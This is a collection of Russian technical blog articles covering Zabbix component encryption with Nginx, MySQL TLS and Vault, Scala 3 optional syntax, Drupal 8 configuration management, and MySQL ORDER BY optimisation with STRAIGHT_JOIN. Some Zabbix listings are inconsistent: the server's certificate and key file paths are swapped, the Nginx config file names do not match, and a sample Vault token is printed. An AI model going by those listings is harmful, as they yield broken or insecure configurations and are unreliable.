* **Zabbix web-сервер <-> База данных Zabbix.** Web-сервер обновляет конфигурацию в БД, извлекает данные для визуализации, удаляет исторические данные (по нажатию на *Очистить историю*) и запускает задания *Выполнить сейчас* (*Execute now*). Можно настроить при установке или позже в файле конфигурации zabbix.conf.php. Поддерживается TLS-шифрование при помощи ключей. Для хранения логина и пароля для БД можно использовать Vault. Важный факт: сертификаты, защищённые паролем не поддерживаются.
* **Zabbix-сервер <-> База данных Zabbix.** Zabbix-сервер через configuration syncer загружает в свой кэш конфигурацию, через history syncer записывает собранные данные в БД, очищает историю (housekeeping) и выполняет некоторые другие операции. Настройки шифрования выполняются через присваивание значений специальным ключам в конфигурационном файле zabbix\_server.conf.
* **Zabbix-сервер <-> Zabbix-агент.** Поддерживаются общий ключ PSK и сертификаты. Взаимодействие этих компонентов делится на две части: к узлу сети (TLSAccept для пассивных проверок) и от узла сети (TLSConnect для активных проверок).
* **Zabbix-сервер <-> Zabbix-прокси.** Поддерживаются общий ключ PSK и сертификаты. Настройки выполняются через присваивание значений специальным ключам в конфигурационном файле zabbix\_proxy.conf.
* **Zabbix-прокси <-> Zabbix-агент.** Поддерживаются общий ключ PSK и сертификаты. Взаимодействие этих компонентов делится на две части: к узлу сети (TLSAccept для пассивных проверок) и от узла сети (TLSConnect для активных проверок).
* **Zabbix-прокси <-> БД Zabbix-прокси.** Настройки выполняются через присваивание значений специальным ключам в конфигурационном файле zabbix\_proxy.conf.
* **Zabbix sender -> Zabbix-прокси.** Поддерживаются общий ключ PSK и сертификаты в качестве параметров при вызове через командную строку.
* **Zabbix-агент -> Zabbix get.** Поддерживаются общий ключ PSK и сертификаты в качестве параметров при вызове через командную строку.
### Пользователь (web-браузер) <-> Zabbix web-сервер
Шифрование этой коммуникации не поддерживается со стороны Zabbix, нужно самостоятельно выполнить настройку на стороне Apache или Nginx. В этой статье мы рассмотрим настройку Nginx с самоподписанным SSL-сертификатом, т.к. преимущественно используем именно Nginx в своих проектах по мониторингу на базе Zabbix. Можно использовать сертификат доверенного центра сертификации, например, бесплатный от Let's Encrypt. Это позволит избежать страшных предупреждений в браузере. Обращаем внимание, что использование самоподписанного сертификата никак не умаляет надежности шифрованного соединения, оно будет таким же защищённым как и при использовании сертификата от доверенного CA.
**Листинг настройки**
`# mkdir -p /etc/ssl/private/
# chmod 0750 /etc/ssl/private
# openssl req \
> -newkey rsa:2048 -nodes -keyout /etc/ssl/private/zabbix.key \
> -x509 -days 365 -out /etc/ssl/certs/zabbix.crt \
> -subj "/C=RU/ST=Russia/L=Moscow/O=Gals/OU=Gals_Dev/CN=gals.software/emailAddress=welcome@gals.software"
# chmod 0400 /etc/ssl/certs/zabbix.crt
# chmod 0400 /etc/ssl/private/zabbix.key
# mv /etc/nginx/conf.d/zabbix.conf /etc/nginx/conf.d/zabbix-ssl.conf
# vi /etc/nginx/conf.d/zbx-ssl.conf
listen 443 ssl default_server;
ssl on;
ssl_certificate /etc/ssl/certs/zabbix.crt;
ssl_certificate_key /etc/ssl/private/zabbix.key;
# vi /etc/nginx/conf.d/zabbix.conf
server {
listen 80;
return 301 https://$host$request_uri;
}
# systemctl restart nginx`
В браузере появится «замочек» и можно посмотреть детали сертификата. Соединение зашифровано.
### Zabbix web-сервер <-> База данных Zabbix
Перед началом настройки на стороне Zabbix, в БД должны быть созданы пользователи и роли с атрибутами, требующими шифрованное подключение.
**Листинг создания пользователей для Zabbix web-сервера и Zabbix-сервера**
```
mysql> CREATE USER
'zabbix_srv'@'%' IDENTIFIED WITH mysql_native_password BY '',
'zabbix\_web'@'%' IDENTIFIED WITH mysql\_native\_password BY ''
REQUIRE SSL
PASSWORD HISTORY 5;
mysql> CREATE ROLE 'zabbix\_srv\_role', 'zabbix\_web\_role';
mysql> GRANT SELECT, UPDATE, DELETE, INSERT, CREATE, DROP, ALTER, INDEX, REFERENCES ON zabbix.\* TO 'zabbix\_srv\_role';
mysql> GRANT SELECT, UPDATE, DELETE, INSERT ON zabbix.\* TO 'zabbix\_web\_role';
mysql> GRANT 'zabbix\_srv\_role' TO 'zabbix\_srv'@'%';
mysql> GRANT 'zabbix\_web\_role' TO 'zabbix\_web'@'%';
mysql> SET DEFAULT ROLE 'zabbix\_srv\_role' TO 'zabbix\_srv'@'%';
mysql> SET DEFAULT ROLE 'zabbix\_web\_role' TO 'zabbix\_web'@'%';
```
Вызов статуса вернет, в том числе, данные по настройкам шифрования. Убедимся, что в строке SSL указаны алгоритмы шифрования.
Настройку шифрования между Zabbix и базой данных можно выполнить сразу при первичной настройке Zabbix через web-интерфейс. Обратите внимание на подпись напротив *Database TLS encryption*. Из-за того, что для подключения к локальной БД используется socket file, нет возможности настроить шифрованное подключение. Поэтому в поле *Хост базы данных* должны быть указаны IP-адрес или имя сервера с БД.
Меняем localhost на IP-адрес сервера и появляется чекбокс.
На двух скриншотах выше можно увидеть нововведение в Zabbix версии 5.2 — поддержку интеграции с хранилищем Vault. Перед началом настройки Zabbix мы создали пару ключей и учетными данными для подключения к БД.
Берем клиентские ключи MySQL, заполняем необходимые поля и нажимаем *Далее*.
Другой способ настроить то же самое — соответствующие ключи в конфигурационном файле zabbix.conf.php.
*$DB['ENCRYPTION'] = true;
$DB['KEY\_FILE'] = '/etc/ssl/mysql/client-key.pem';
$DB['CERT\_FILE'] = '/etc/ssl/mysql/client-cert.pem';
$DB['CA\_FILE'] = '/etc/ssl/mysql/ca.pem';
$DB['VERIFY\_HOST'] = true;
$DB['CIPHER\_LIST'] = '';*
### Zabbix-сервер <-> База данных Zabbix
На предыдущем шаге мы уже создали пользователя для подключения, клиентские ключи для подключения тоже есть. Осталось прописать эти данные в конфигурационный файл Zabbix-сервера.
*DBTLSConnect=required
DBTLSCAFile=/etc/ssl/mysql/ca.pem
DBTLSCertFile=/etc/ssl/mysql/client-key.pem
DBTLSKeyFile=/etc/ssl/mysql/client-cert.pem
DBTLSCipher=''*
После выполненных настроек, необходима перезагрузка службы Zabbix-сервера. Логин и пароль для подключения Zabbix-сервера к БД мы также храним в Vault.
Использование Vault требует добавления значений к следующим переменным в конфигурации Zabbix-сервера:
*VaultDBPath=kv/secret/zabbix
VaultToken=s.Ev50RnGXNM3FmmcVBMRrR4Nz
VaultURL=http://192.168.56.101:8200*
Переменная *VaultDBPath* отвечает за хранение учетных данных для подключения к БД. Подробнее о шифровании подключений к БД можно узнать в [документации Zabbix](https://www.zabbix.com/documentation/current/manual/appendix/install/db_encrypt/mysql).
### Zabbix-сервер <-> Zabbix-прокси
Как многие пользователи Zabbix знают, в системе существует два типа подключений для передачи метрик: пассивные и активные. Пассивные подразумевают запрос к источнику данных, а активные – отправку данных от источника вне зависимости запроса приемника. Аналогичным образом, соединение между сервером и прокси могут быть пассивными или активными. На скриншоте ниже настроен активный прокси, соединение, с которым зашифровано по технологии PSK.
Обратите внимание, что исходящие соединения (пассивные) могут выполняться каким-то одним способом на выбор, а для входящих доступны комбинации вариантов: без шифрования, PSK или сертификат.
На стороне прокси все настройки выполняются в конфигурационном файле. Для активных проверок:
*TLSConnect=psk
TLSPSKIdentity=test\_zabbix
TLSPSKFile=/var/zabbix/agentd.psk*
Для пассивных проверок:
*TLSAccept=psk
TLSPSKIdentity=test\_zabbix
TLSPSKFile=/var/zabbix/agentd.psk*
Второй способ шифрования подключения – использование сертификатов. Заметим, что для pre-shared key (PSK) и сертификатов, закрытый ключ хранится на файловой системе в открытом виде.
Подробная информация доступна в [документации Zabbix](https://www.zabbix.com/documentation/current/manual/encryption).
### Zabbix-сервер <-> Zabbix-агент и Zabbix-прокси <-> Zabbix-агент
Мы не будем повторяться, настройка этих соединений аналогична настройке соединения сервера с прокси: для исходящих соединений доступен один вариант, для входящих один или несколько.
Названия переменных для настройки шифрования на стороне агента полностью аналогичны переменным в конфигурации прокси.
### Zabbix-прокси <-> БД Zabbix-прокси
Подход к настройке аналогичен настройке шифрованного соединения между Zabbix-сервером и БД. Названия переменных такие же, указываются в конфигурационном файле Zabbix-прокси.
### Zabbix sender -> Zabbix-прокси и Zabbix-агент -> Zabbix get
Шифрование соединения с утилитами Zabbix sender и Zabbix get выполняется при помощи специальных параметров при вызове соответствующих утилит.
*zabbix\_sender -z 127.0.0.1 -s zabbix02 -k Encrypt -o 18 --tls-connect psk --tls-psk-identity «test\_zabbix» --tls-psk-file /etc/zabbix/keys/agent.psk*
*zabbix\_get -s 127.0.0.1 -k agent.version \
--tls-connect psk --tls-psk-identity «test\_zabbix» --tls-psk-file /etc/zabbix/keys/agent.psk*
### Авторегистрация с шифрованием
Шифрование также поддерживается и для процесса авторегистрации.
После авторегистрации нового узла, настройки соединения с ним будут автоматически настроены на использование шифрования PSK.
### Хранение чувствительной информации в Vault
Приятное нововведение, которое появилось в версии Zabbix 5.2 — поддержка хранилища Vault. Его можно использовать как для хранения учетных данных для доступа к БД так и для значений макросов. Так значения макросов выглядят в Vault:
А так на них можно сослаться в интерфейсе Zabbix:
Хранение значений макросов очень сильно упрощает управление учетными данными для разных шаблонов, позволяет легко отзывать учетные данные и вести аудит. Разумеется, из Vault можно брать значения любых макросов и это добавляет ещё одну степень свободы при автоматизации мониторинга в Zabbix.
### Заключение
В статье мы рассказали о возможностях шифрования в Zabbix. Перед решением об использовании шифрованных подключений, важно понимать, что это снижает производительность системы мониторинга и сильнее утилизирует аппаратное обеспечение. Без понятной причины шифрование использовать не стоит.
Мы давно и успешно работаем с Zabbix, если у вас есть задачи по развитию, сопровождению или обновлению системы, оставьте заявку через [форму обратной связи](https://gals.software/solutions/zabbix) или свяжитесь [другим удобным способом](https://gals.software/contacts).
**А ещё можно почитать:**
[Добавляем CMDB и географическую карту к Zabbix](https://habr.com/ru/company/galssoftware/blog/523994/)
[Мониторинг принтеров — дело благородное](https://gals.software/blog/tpost/ktdpr5s3z8-monitoring-printerov-delo-blagorodnoe)
[Структурированная система мониторинга на бесплатных решениях](https://gals.software/solutions/free)
[Elastic под замком: включаем опции безопасности кластера Elasticsearch для доступа изнутри и снаружи](https://habr.com/ru/company/galssoftware/blog/505930/)
Для обработки событий от Zabbix, Prometheus, Elastic и других систем рекомендуем [использовать Amixr](https://gals.software/vendors/amixr) (презентация по запросу). | https://habr.com/ru/post/526018/ | null | ru | null |
# Scala 3: новый, но необязательный синтаксис
Это первая статья в моей серии статей с обзором изменений в Scala 3.
Давайте начнем с наиболее противоречивых нововведений: [опциональных фигурных скобок](https://dotty.epfl.ch/docs/reference/other-new-features/indentation.html) и
[нового синтаксиса](https://dotty.epfl.ch/docs/reference/other-new-features/control-syntax.html) для управляющих конструкций.
Опциональные фигурные скобки делают Scala-код больше похожим на Python или Haskell, где для группировки выражений используются отступы. Рассмотрим примеры, взятые из 3-го издания моей книги [Programming Scala](https://deanwampler.github.io/books/programmingscala.html), которое сейчас готовится к публикации.
Опциональные фигурные скобки
----------------------------
Для начала рассмотрим объявление типа с использованием старого и нового синтаксиса. Это также работает для пакетов, если мы объявляем несколько пакетов в одном файле.
```
// Со скобками
trait Monoid2[A] {
def add(a1: A, a2: A): A
def zero: A
}
// Без скобок
trait Monoid3[A]:
def add(a1: A, a2: A): A
def zero: A
```
Новый синтаксис сильно напоминает Python, и это может приводить к путанице, если вы постоянно переключаетесь между двумя языками.
Вы можете смешивать старый и новый стиль, компилятор [Dotty](https://dotty.epfl.ch/) (скоро будет переименован в Scala 3) скомпилирует такой код без ошибок.
Посмотрим на объявления методов. Обратите внимание, что для маркировки начала тела метода используется `=`, а не `:`.
```
def m2(s: String): String = {
val result = s.toUpperCase
println(s"output: $result")
result
}
def m3(s: String): String =
val result = s.toUpperCase
println(s"output: $result")
result
```
Питонисты будут по привычке писать `:` пока не привыкнут к особенностям Scala. Отличие от старого синтаксиса в том, что после `=` теперь можно писать не одно, а сколько угодно выражений. Однако придется следить за правильностью отступов, будь то табы или пробелы.
В этом же стиле могут быть переписаны partial functions, match expressions и блоки try-catch-finally (для для последнего примера не будет):
```
val o2:Option[Int] => Int = {
case Some(i) => i
case None => 0
}
val o3:Option[Int] => Int =
case Some(i) => i
case None => 0
```
```
0 match {
case 0 => "zero"
case _ => "other value"
}
0 match
case 0 => "zero"
case _ => "other value"
```
Исторически в плане синтаксиса Scala старалась держаться как можно ближе к Java. Зачем же делать столь радикальные изменения сейчас? Сегодня нередки случаи, когда люди, знающие Python, начинают изучать Scala. Возможно, они учили Python в университете, а компания, в которую они потом пошли работать, использует Scala. Многие проекты сочетают задачи data science, которые решаются на Python, и data engineering, которые решаются на Scala. В этом смысле стремление Scala быть похожей на Python выглядит интересно.
Вместе с тем, это изменение достаточно спорно. Всегда можно возразить, что и со старым синтаксисом не было особых проблем, а добавления второго варианта может просто укрепить ощущение, что Scala слишком сложна. Есть еще один небольшой недостаток:
```
import scala.annotation.tailrec
@tailrec def loop(whileTrue: => Boolean)(f: => Unit): Unit =
f
if (whileTrue) loop(whileTrue)(f)
var i=5
loop(i > 0) {
println(i)
i -= 1
}
var j=5
loop(j > 0): // ERROR
println(j)
j -= 1
```
У фигурных скобок была крутая способность: с их помощью можно было определять собственные "управляющие" конструкции. В примере выше `loop` выглядит как встроенный цикл `while`. Но попытка сделать тоже самое без скобочек не работает. (Возможно, это добавят в следующих релизах.)
Когда я только начал работать над новым изданием книги Programming Scala, я был против нового синтаксиса и планировал просто рассказать про него, оставив остальной код в старом стиле. Потом, поскольку книга все-таки должна была фокусироваться на Scala 3, я решил использовать новый синтаксис практически повсеместно. Сейчас я уже привык к нему, он даже начал мне нравится. Он делает Scala-код более выразительным. Кроме того, не стоит забывать о трендах в индустрии: если этот синтаксис делает Scala более привлекательной для разработчиков на Python (и Haskell) — это хорошо.
Опциональный синтаксис для управляющих конструкций
--------------------------------------------------
Также появился новый синтаксис для управляющих конструкций, таких как `if`, `for` и `while`. Его тоже можно использовать вместе со старым:
```
for (i <- 0 until 5) println(i) // Старый синтаксис
for i <- 0 until 5 do println(i) // Новый синтаксис
for i <- 0 until 5 yield 2*i
for i <- 0 until 10
if i%2 == 0
ii = 2*i
yield ii
val i = 10
if (i < 10) println("yes") // Старый синтаксис
else println("no")
if i < 10 then println("yes") // Новый синтаксис
else println("no")
```
Для циклов `for` и `while` можно убирать круглые и фигурные скобки, отмечая начало тела цикла ключевым словом `do`. В `for` также можно использовать ключевое слово `yield`. Для `if` можно убирать круглые скобки и писать `then` после условия.
По умолчанию старый и новый стили можно смешивать. Флаг компилятора `-new-syntax` обязывает использовать только новый стиль, флаг `-old-syntax` — только старый.
Добавлен также флаг `-rewrite`, в зависимости от того, в комбинации с каким из двух предыдущих флагов он указан, компилятор будет конвертировать исходный код в новый синтаксис или в старый.
Заключение
----------
Для краткости изложения в этой статье пришлось опустить множество деталей и примеров. Если тема вас заинтересовала, посмотрите полную документацию по ссылкам в начале статьи.
Если у вас уже есть код на Scala 2, его не обязательно будет переписывать в соответствии с новым синтаксисом. И, конечно, я не рекомендую смешивать оба стиля. Выберите для своего проекта один из них. Вряд ли старый Java-подобный синтаксис когда-либо признают устаревшим и удалят из языка, но время покажет.
Самому мне эти изменения начали нравится после того, как я поработал с ними какое-то время. Теперь я буду использовать новый синтаксис во всех своих новых проектах. | https://habr.com/ru/post/533320/ | null | ru | null |
# Управление конфигурациями в Drupal 8, обзор для разработчиков
Drupal 8 приносит с собой множество улучшений и моё любимое — [управление конфигурациями](https://www.drupal.org/documentation/administer/config). Я попытаюсь сделать быстрый обзор на эту тему.
*Пожалуйста помните, что этот обзор был написан во время релиза Drupal 8 beta 3. Кое-что могло измениться.*
Типы информации в Drupal 8
--------------------------
Согласно [официальной документации](https://www.drupal.org/node/2120523), мы располагаем четырьмя типами информации:
1. Контент (content)
2. Сессия (session)
3. Состояние (state)
4. Конфигурация (configuration)
Хорошая новость состоит в том, что почти всё кроме контента — это конфигурации: настройки модулей, их состояния, блоки, расположение блоков, типы контента, поля, режимы отображения, и так далее. Вся эта информация обрабатывается во время импорта конфигураций. Это делает процесс деплоя очень простым.
Где хранятся конфигурации
-------------------------
Давайте посмотрим в файл `settings.php` на свежеустановленном Drupal 8.
```
$config_directories['active'] = 'sites/default/files/config_XXXX/active';
$config_directories['staging'] = 'sites/default/files/config_XXXX/staging';
```
Здесь, `XXXX` — это длинный хеш, сгенерированный с целью защиты вашей конфигурации от доступа из веба.
В директории `active` подразумевается хранение вашей текущей конфигурации. Я сказал «подразумевается» потому что по умолчанию эта директория пуста, а текущая конфигурация хранится в базе данных. Это сделано по соображениям [безопасности и производительности](https://www.drupal.org/node/2241059). Однако вы можете изменить это поведение с помощью модуля [Configuration Tools](https://www.drupal.org/project/config_tools) (config\_tools). (Разве вы не помните что [для всего есть свой модуль](http://www.amazeelabs.com/en/node/283)? ;))
Директория `staging` — это место, откуда конфигурация импортируется/синхронизируется. Эта директория тоже пуста ели вы не пользуетесь возможностью импорта/экспорта конфигураций.
> #### Совет: Git
>
>
>
> Директория `sites/default/files` чаще всего внесена в файл `.gitignore` и игнорируется Git'ом, но вы скорее всего захотите чтобы ваши конфигурационные файлы находились под управлением системы контроля версий. Рекомендованный способ размещения директории конфигураций — вне директории где установлен Drupal, так что она недоступна для веба. А самый простой способ — переместить директорию конфигураций в директорию `sites/default` (но оставьте хеш в её имени для безопасности).
Встроенный пользовательский интерфейс
-------------------------------------
Из коробки, вместе с Drupal устанавливается (в стандартном профиле) модуль Configuration Manager (config) который предоставляет базовый UI для управления конфигурациями. Его можно найти по пути `admin/config/development/configuration`. Вкладка “Full Import/Export” представляет здесь наибольший интерес. Полная конфигурация сайта может быть экспортирована как .tar.gz архив на под-вкладке Export. Затем вы сможете использовать такой архив для импорта конфигурация на другом экземпляре сайта.
При использовании этого интерфейса, импортируемый файл конфигураций не используется сразу после загрузки, а распаковывается в директорию `staging`. После чего необходимо запустить синхронизацию на вкладке Synchronize, где вы также можете просмотреть внесенные изменения.
Вот и всё! Деплоймент теперь доступен из коробки. Больше не нужно никаких дополнительных инструментов!
Если вы не хотите использовать UI, то Drush как всегда к вашим услугам.
```
drush config-export # экспортирует текущую конфигурацию в директорию staging
drush config-import # импортирует конфигурацию из директории staging
```
Единица измерения конфигураций
------------------------------
Давайте рассмотрим пример экспортированной конфигурации.
```
# file: system.site.yml
uuid: c78fd9aa-b327-4514-9d00-bc72a1f40f27
name: 'My cool site'
mail: mailbox@example.com
slogan: 'Drupal 8 rules!'
page:
403: ''
404: ''
front: node
admin_compact_mode: false
weight_select_max: 100
langcode: en
```
Здесь, название конфигурации — `system.site`. Это и есть единица измерения конфигурации. Все названия конфигураций должны иметь в начале название модуля или темы, в данном случае — `system`.
Содержимое файла по структуре очень напоминает обычный PHP массив. И когда вы будете работать с конфигурациями из кода, вы действительно будете использовать массивы.
> #### Совет: лучшие практики
>
>
>
> Если у вашего модуля/темы не очень много настроек, рекомендуется хранить их в одной конфигурации с названием your\_module\_name.settings.
Работа с конфигурациями из модуля или темы
------------------------------------------
Drupal 8 предоставляет очень хороший API для работы с конфигурациями. Взгляните на код.
```
$config = \Drupal::config('system.site');
// Instance of Drupal\Core\Config\Config
$front_page = $config->get('page.front');
// 'node'
$page_settings = $config->get('page');
// array(
// '403' => '',
// '404' => '',
// 'front' => 'node',
// )
$config->set('page.front', 'my-front-page');
$config->save();
```
Очень просто, не так ли? Вы можете найти большинство методов для работы с конфигурациями в классе [Drupal\Core\Config\Config](https://api.drupal.org/api/drupal/core!lib!Drupal!Core!Config!Config.php/class/Config/8). Так же, другие примеры доступны в разделе [Simple Configuration API](https://www.drupal.org/node/1809490) документации разработчика.
Значения по умолчанию
---------------------
Помните как мы указывали значения переменных по умолчанию в Drupal 7?
```
$value = variable_get('my_variable_name', 'my_default_value');
```
В Drupal 8 значения по умолчанию больше не будут разбросаны по коду. Если у вас есть настройка, установите её значение по умолчанию во время установки модуля. Есть два способа сделать это:
1. Наиболее простой вариант: разместить YAML файлы в директории `config/install` вашего модуля.
2. Для случаев, когда значение по умолчанию должно вычисляться динамически при установке модуля, используйте `hook_install()`.
Вы можете найти примеры в модуле Comment: в файле `contact.form.feedback.yml`, значение `recipients` устанавливается в пустой массив. Затем, в `contact_install()`, устанавливается фактическое значение.
Экспорт конфигурации в модуль
-----------------------------
Есть один интересный момент по поводу директории `config/install`.
В Drupal 7 мы можем экспортировать различный функционал в код наших модулей. Распространённый пример: view для административного интерфейса модуля. Чтобы сделать это, нам понадобится базовое знание Views API, некоторые хуки, и немного копипастинга. Модуль Features так же может нам с этим всем помочь.
С Drupal 8 всё становится намного проще. Пример для view:
1. создайте view
2. экспортируйте конфигурацию сайта
3. найдите YAML файл вашего view в эспортированной конфигурации (пример названия: `views.view.my_cool_view.yml`)
4. поместите этот файл в директорию `config/install` вашего модуля
Вуаля! Ваш view будет импортирован автоматически при установке модуля.
Подмена (override) конфигураций
-------------------------------
Одна из лучших особенностей друпала- это то, что мы можем изменить (подменить) всё не трогая при этом ядро и сторонние модули. Конфигурации здесь не исключение.
Существует два вида подмены конфигураций.
### Подмена из settings.php (settings override)
Файл `settings.php` может подменять конфигурации на уровне окружения. Просто вспомните как мы запрещали отправку писем с серверов разработки в Drupal 7:
```
$conf['mail_system']['default-system'] = 'DevelMailLog';
```
Почти так же это будет выглядеть в Drupal 8:
```
$config['system.mail']['interface']['default'] = 'devel_mail_log';
```
### Подмена из модуля (module override)
Мы можем динамически подменять конфигурации из модулей. Для этого используются сервисы имеющие тег `config.factory.override` и имплементирующие класс `ConfigFactoryOverrideInterface`. Вы можете найти пример в модуле Language, который переводит некоторые строки хранящиеся в конфигурациях (таким образом, когда вы вызываете `Drupal::config(...)->get(...)`, вы на самом деле получаете переведённую строку вместо оригинальной).
Получение исходных (not overridden) конфигураций
------------------------------------------------
Иногда нам нужны исходные конфигурации. В основном это нужно для конфигурационных форм (например, чтобы пользователь мог изменить исходные строки, а не их переводы). Для этого случая в ядре Drupal предусмотрен класс `ConfigFormBase`, который следует использовать вместо стандартного `FormBase`. В нём есть метод `ConfigFormBase::config()`, который возвращает исходные конфигурации и который, опять же, следует использовать вместо привычного `Drupal::config()`.
Другой способ — метод `Config::getRawData()`. А для более сложных случаев, посмотрите на [реализацию метода](https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Form%21ConfigFormBaseTrait.php/function/ConfigFormBaseTrait%3A%3Aconfig/8) `ConfigFormBaseTrait::config()`.
> #### Совет: лучшие практики
>
>
>
> Когда вы работаете из класса расширяющего какой-либо базовый класс, изучите все имеющиеся в вашем распоряжении методы (доступные из родительских классов) и используйте их вместо глобально доступных методов. Пример выше демонстрирует как получить исходные конфигурации с помощью метода `::config()` когда вы работаете из дочернего класса `ConfigFormBase`. Ещё один пример: многие классы имеют встроенный метод `::t()`, который должен быть использован вместо глобальной функции `t()`. Для этого всегда есть причины, взгляните на [пример](http://drupal.stackexchange.com/q/100332).
Реагируем на изменения конфигураций
-----------------------------------
Есть два способа:
1. Подписаться на события перечисленные в классе `ConfigEvents` ([документация](https://api.drupal.org/ConfigEvents)). Для примера, посмотрите реализацию класса `Drupal\language\EventSubscriber\ConfigSubscriber` ([документация](https://api.drupal.org/api/drupal/core%21modules%21language%21src%21EventSubscriber%21ConfigSubscriber.php/class/ConfigSubscriber/8)).
2. Для более сложных случаев вы можете использовать `hook_config_import_steps_alter()`. Пример может быть найден в модуле Field.
Configuration schema/metadata
-----------------------------
Вы можете описать вашу конфигурацию с помощью схем — configuration schemas, тем самым сделав её понятной для Drupal'а. Давайте начнём с примера.
```
# file: core/modules/system/config/install/system.maintenance.yml
message: '!site is currently under maintenance. We should be back shortly. Thank you for your patience.'
langcode: en
# file: core/modules/system/config/schema/system.schema.yml
system.maintenance:
type: mapping
label: 'Maintenance mode'
mapping:
message:
type: text
label: 'Message to display when in maintenance mode'
langcode:
type: string
label: 'Default language'
# file: core/config/schema/core.data_types.schema.yml
text:
type: string
label: 'Text'
translatable: true
# ...
string:
class: '\Drupal\Core\TypedData\Plugin\DataType\String'
label: 'String'
```
Из этих данных мы можем узнать назначение настроек хранящихся в конфигурации `system.maintenance`, а так же их типы:
1. `message` — это строка доступная для перевода, отображаемая в режиме обслуживания сайта
2. `langcode` — это строка обозначающая язык используемый для режима обслуживания сайта
Но что более важно, Drupal и другие модули тоже могут получить эту информацию.
Есть очень много типов данных встроенных в ядро Drupal, и вы можете создавать свои типы данных расширяя существующие. Загляните в раздел [Configuration schema/metadata](https://www.drupal.org/node/1905070) документации разработчика что бы узнать больше.
> #### Совет: переводы
>
>
>
> Свойство `translatable` используется для маркировки строковых типов данных как доступных для перевода. Такие строки автоматически обрабатываются модулем Language. Есть два основных «переводимых» типа строк которые вы наверняка захотите использовать:
>
> 1. `label`: человеко-понятная строка, без разметки, содержащая только одну строку текста
> 2. `text`: человеко-понятная строка, может содержать HTML разметку и несколько строк текста
>
Конфигурационные сущности (configuration entities)
--------------------------------------------------
Если кратко, конфигурационные сущности — это сущности которые хранятся как конфигурации. Поэтому, я бы рекомендовал для начала ознакомиться с документацией [Entity API](https://www.drupal.org/developing/api/entity). После, вы можете посмотреть статью [Creating a configuration entity type in Drupal 8](https://www.drupal.org/node/1809494) из документации разработчика, содержащую простой пример. И когда у вас будут базовые знания, и вы захотите большего, вы можете ознакомиться с сущностью `ImageStyle` из модуля Image.
Напоследок
----------
Хотелось бы сказать большое спасибо людям которые начали [Configuration Management Initiative](http://drupal8cmi.org/) и всем друпалистам которые усердно работали что бы создать такую шикарную фичу в Drupal 8. Результат их работы — великолепен!
P.S.: Уже есть некоторые [модули](https://www.drupal.org/search/site/configuration?f%5B0%5D=&f%5B1%5D=&f%5B2%5D=&f%5B3%5D=drupal_core%3A7234&f%5B4%5D=sm_field_project_type%3A%5B*+TO+*%5D&f%5B5%5D=ss_meta_type%3Amodule&solrsort=score+desc) которые могут вам помочь в работе с конфигурациями.
P.S.S.: Раздел [Configuration management](https://www.drupal.org/developing/api/8/configuration) из документации разработчика — отличное место для быстрого старта. Однако, будьте осторожны, потому что некоторые его части устарели и пока (до момента выхода стабильного релиза) не соответствуют действительности. | https://habr.com/ru/post/248629/ | null | ru | null |
# Оптимизация ORDER BY — о чем многие забывают
На тему оптимизации MySQL запросов написано очень много, все знают как оптимизировать SELECT, INSERT, что нужно джоинить по ключу и т.д. и т.п.
Но есть один момент, тоже неоднократно описанный во всех мануалах, но почему-то про него все забывают.
#### Оптимизация ORDER BY в запросах с джоинами.
*Оправдание: поиском воспользовался, не нашел !*
Большинство считают, что если ORDER BY происходит по индексу, то и проблем никаких нет, однако это не всегда так. Недавно я разбирался с одним запросом который дико тормозил базу хотя вроде все индексы на нужных местах. ORDER BY оказался последним местом, куда я ткнулся, и проблема оказалась именно там.
Маленькая выдержка из мануалов по оптимизации:
===
**Как MySQL оптимизирует ORDER BY**
Ниже приведены некоторые случаи, когда MySQLне может использовать индексы, чтобы выполнить ORDER BY
…
Связываются несколько таблиц, и столбцы, по которым делается
сортировка ORDER BY, относятся не только к первой неконстантной
(const) таблице, используемой для выборки строк(это первая таблица
в выводе EXPLAIN, в которой не используется константный, const, метод выборки строк).
…
===
Для ORDER BY важно, чтобы таблица, по которой будет производиться сортировка была на первом месте. Однако по умолчанаю, в каком бы порядке вы не джойнили таблицы, встроенный в mysql оптимизатор переставит их в том порядке, как он сам посчитает нужным. То есть если вы поставили нужную таблицу первой в запросе, то это вовсе не означает, что она будет на самом деле первой.
К счастью, оптимизатору mysql можно сказать, чтобы он джоинил таблицы в том порядке, какой мы ему указали, для этого нужно в SELECT добавить команду STRAIGHT\_JOIN:
SELECT STRAIGHT\_JOIN… FROM table JOIN…… ORDER BY table.row
Проверка на mysql базе форума PHPBB3 содержащей около 300 000 постов:
```
SELECT t.*, p.*, u.username
FROM phpbb3_topics as t, phpbb3_posts as p, phpbb3_users as u
WHERE t.topic_replies>0 AND p.poster_id=u.user_id AND topic_first_post_id<>p.post_id AND topic_approved=1 AND p.topic_id=t.topic_id AND t.forum_id='16' AND p.post_id<'244103'
ORDER by post_id desc LIMIT 40
```
**Query took 12.2571 sec**
в explain видим ужасное: Using where; Using temporary; Using filesort
Меняем порядок таблиц (кеш мускуля сбросил перезагрузкой):
```
SELECT STRAIGHT_JOIN t.*, p.*, u.username
FROM phpbb3_posts as p, phpbb3_topics as t, phpbb3_users as u
WHERE t.topic_replies>0 AND p.poster_id=u.user_id AND topic_first_post_id<>p.post_id AND topic_approved=1 AND p.topic_id=t.topic_id AND t.forum_id='13' AND p.post_id<'234103'
ORDER by post_id desc LIMIT 40
```
**Query took 0.0447 sec**
в explain: Using where;
Вот такой принудительной перестановкой таблиц мы ускорили выполнение запроса **в 300 раз**!
Это совсем не значит, что нужно всегда использовать STRAIGHT\_JOIN и самому следить за порядком таблиц. Но **в некоторых случах** это необходимо.
P.S. Этот запрос используется Яндексом для индексации форумов phpbb. До оптимизации, яндекс-бот клал сервер [php.ru](http://www.php.ru) каждую ночь на несколько часов (сервер не очень мощный). В блоге Яндекса была дисскуссия на эту тему, но она закрыта пару лет назад и решение там не озвучено. | https://habr.com/ru/post/138163/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.